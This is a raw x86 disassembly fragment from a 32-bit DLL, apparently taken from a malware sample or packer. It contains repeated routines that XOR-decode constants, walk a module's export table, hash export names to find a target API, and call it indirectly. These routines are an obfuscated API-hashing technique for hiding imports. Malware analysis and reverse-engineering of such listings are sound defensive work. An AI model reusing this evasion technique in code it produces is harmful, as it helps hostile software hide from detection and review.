mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003eee
mov ecx, dword [ebp - 0x20]
jmp 0x10003edf
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x10003f5d
mov eax, dword [ebp - 0x24]
mov edi, dword [eax + edx*4]
add edi, esi
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003f07
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x44], eax
test eax, eax
je 0x10003f3a
mov esi, eax
movsx eax, byte [edi + ecx]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, esi
jb 0x10003f21
mov esi, dword [ebp - 0x34]
cmp edx, 0x2b132ea
je 0x10003f49
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x40]
inc edx
mov dword [ebp - 0x28], edx
jmp 0x10003ebd
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10003f5f
mov eax, ebx
push dword [ebp - 0x2c]
call eax
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003f94
mov ecx, dword [ebp - 0x20]
jmp 0x10003f85
mov eax, dword [ebp - 0x18]
mov edx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003fcb
mov edx, dword [ebp - 0x20]
jmp 0x10003fbc
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x1c], 2
mov ecx, 0x6b1b76e7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x6b1b76c7
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x30], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000400d
mov ecx, dword [ebp - 0x20]
jmp 0x10003ffe
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000404d
mov ecx, dword [ebp - 0x20]
jmp 0x1000403e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x47d870f2
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x4ca29a7e
mov esi, 0x47d870d6
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], esi
xor dword [ebp + eax*4 - 0x14], esi
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000408d
mov esi, dword [ebp - 0x20]
jmp 0x1000407e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x34]
mov dword [ebp - 0x38], esi
test edx, edx
je 0x1000415f
test ecx, ecx
je 0x1000415f
test esi, esi
je 0x1000415f
mov edx, ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100040e8
mov ecx, dword [ebp - 0x20]
jmp 0x100040d9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x1000415f
mov eax, dword [ebp - 0x44]
mov edi, dword [eax + edx*4]
add edi, dword [ebp - 0x34]
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x40], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004105
sub ecx, dword [ebp - 0x40]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
pop eax
mov dword [ebp - 0x28], eax
jbe 0x10004147
mov ebx, dword [ebp - 0x24]
mov esi, eax
movsx eax, byte [ecx + edi]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004128
mov dword [ebp - 0x28], esi
xor ebx, ebx
cmp dword [ebp - 0x28], 0x2b132ea
mov esi, dword [ebp - 0x38]
je 0x10004150
mov edi, dword [ebp - 0x30]
inc edx
jmp 0x100040b7
movzx eax, word [esi + edx*2]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x34]
jmp 0x10004161
mov eax, ebx
push dword [ebp - 0x48]
call eax
mov esi, dword [ebp - 0x60]
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.10008d9e
jmp 0x10004583
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100041a9
mov ecx, dword [ebp - 0x20]
jmp 0x1000419a
mov eax, dword [ebp - 0x18]
mov ecx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100041e0
mov ecx, dword [ebp - 0x20]
jmp 0x100041d1
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b1b76e7
push 2
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x20], ecx
pop edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x6b1b76c7
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], 0x6fe5a08f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004221
mov ecx, dword [ebp - 0x20]
jmp 0x10004212
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + edi]
add eax, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x24], eax
mov eax, ebx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000425d
mov ecx, dword [ebp - 0x20]
jmp 0x1000424e
mov eax, dword [ebp - 0x18]
mov ecx, 0x47d870d6
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x47d870f2
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000429d
mov ecx, dword [ebp - 0x20]
jmp 0x1000428e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [eax + edi]
add eax, esi
cmp dword [ebp - 0x24], 0
mov dword [ebp - 0x38], eax
je 0x1000436b
test edx, edx
je 0x1000436b
test eax, eax
je 0x1000436b
mov edx, ebx
mov dword [ebp - 0x28], ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100042fc
mov ecx, dword [ebp - 0x20]
jmp 0x100042ed
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x1000436b
mov eax, dword [ebp - 0x24]
mov edi, dword [eax + edx*4]
add edi, esi
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004315
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x44], eax
test eax, eax
je 0x10004348
mov esi, eax
movsx eax, byte [ecx + edi]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, esi
jb 0x1000432f
mov esi, dword [ebp - 0x34]
cmp edx, 0x2b132ea
je 0x10004357
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x40]
inc edx
mov dword [ebp - 0x28], edx
jmp 0x100042cb
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x1000436d
mov eax, ebx
push dword [ebp - 0x2c]
call eax
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100043a2
mov ecx, dword [ebp - 0x20]
jmp 0x10004393
mov eax, dword [ebp - 0x18]
mov edx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100043d9
mov edx, dword [ebp - 0x20]
jmp 0x100043ca
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x1c], 2
mov ecx, 0x6b1b76e7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x6b1b76c7
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x30], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000441b
mov ecx, dword [ebp - 0x20]
jmp 0x1000440c
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000445b
mov ecx, dword [ebp - 0x20]
jmp 0x1000444c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x47d870f2
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x4ca29a7e
mov esi, 0x47d870d6
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], esi
xor dword [ebp + eax*4 - 0x14], esi
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000449b
mov esi, dword [ebp - 0x20]
jmp 0x1000448c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x34]
mov dword [ebp - 0x38], esi
test edx, edx
je 0x1000456d
test ecx, ecx
je 0x1000456d
test esi, esi
je 0x1000456d
mov edx, ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100044f6
mov ecx, dword [ebp - 0x20]
jmp 0x100044e7
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x1000456d
mov eax, dword [ebp - 0x44]
mov edi, dword [eax + edx*4]
add edi, dword [ebp - 0x34]
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x40], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004513
sub ecx, dword [ebp - 0x40]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
pop eax
mov dword [ebp - 0x2c], eax
jbe 0x10004555
mov ebx, dword [ebp - 0x24]
mov esi, eax
movsx eax, byte [ecx + edi]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004536
mov dword [ebp - 0x2c], esi
xor ebx, ebx
cmp dword [ebp - 0x2c], 0x2b132ea
mov esi, dword [ebp - 0x38]
je 0x1000455e
mov edi, dword [ebp - 0x30]
inc edx
jmp 0x100044c5
movzx eax, word [esi + edx*2]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x34]
jmp 0x1000456f
mov eax, ebx
push dword [ebp - 0x48]
call eax
mov esi, dword [ebp - 0x60]
mov ecx, esi
push 0x1000f636
call fcn.10008dd4
mov edx, dword [ebp + 0x14]
cmp edx, 0x10
jb 0x10004594
mov ecx, dword [ebp]
inc edx
call fcn.1000a666
lea ecx, [ebp + 0x7f8]
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], 0xf
mov byte [ebp], bl
call fcn.10008d7b
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x7ec]
xor ecx, ebp
call fcn.1000c333
add ebp, 0x7f0
leave
ret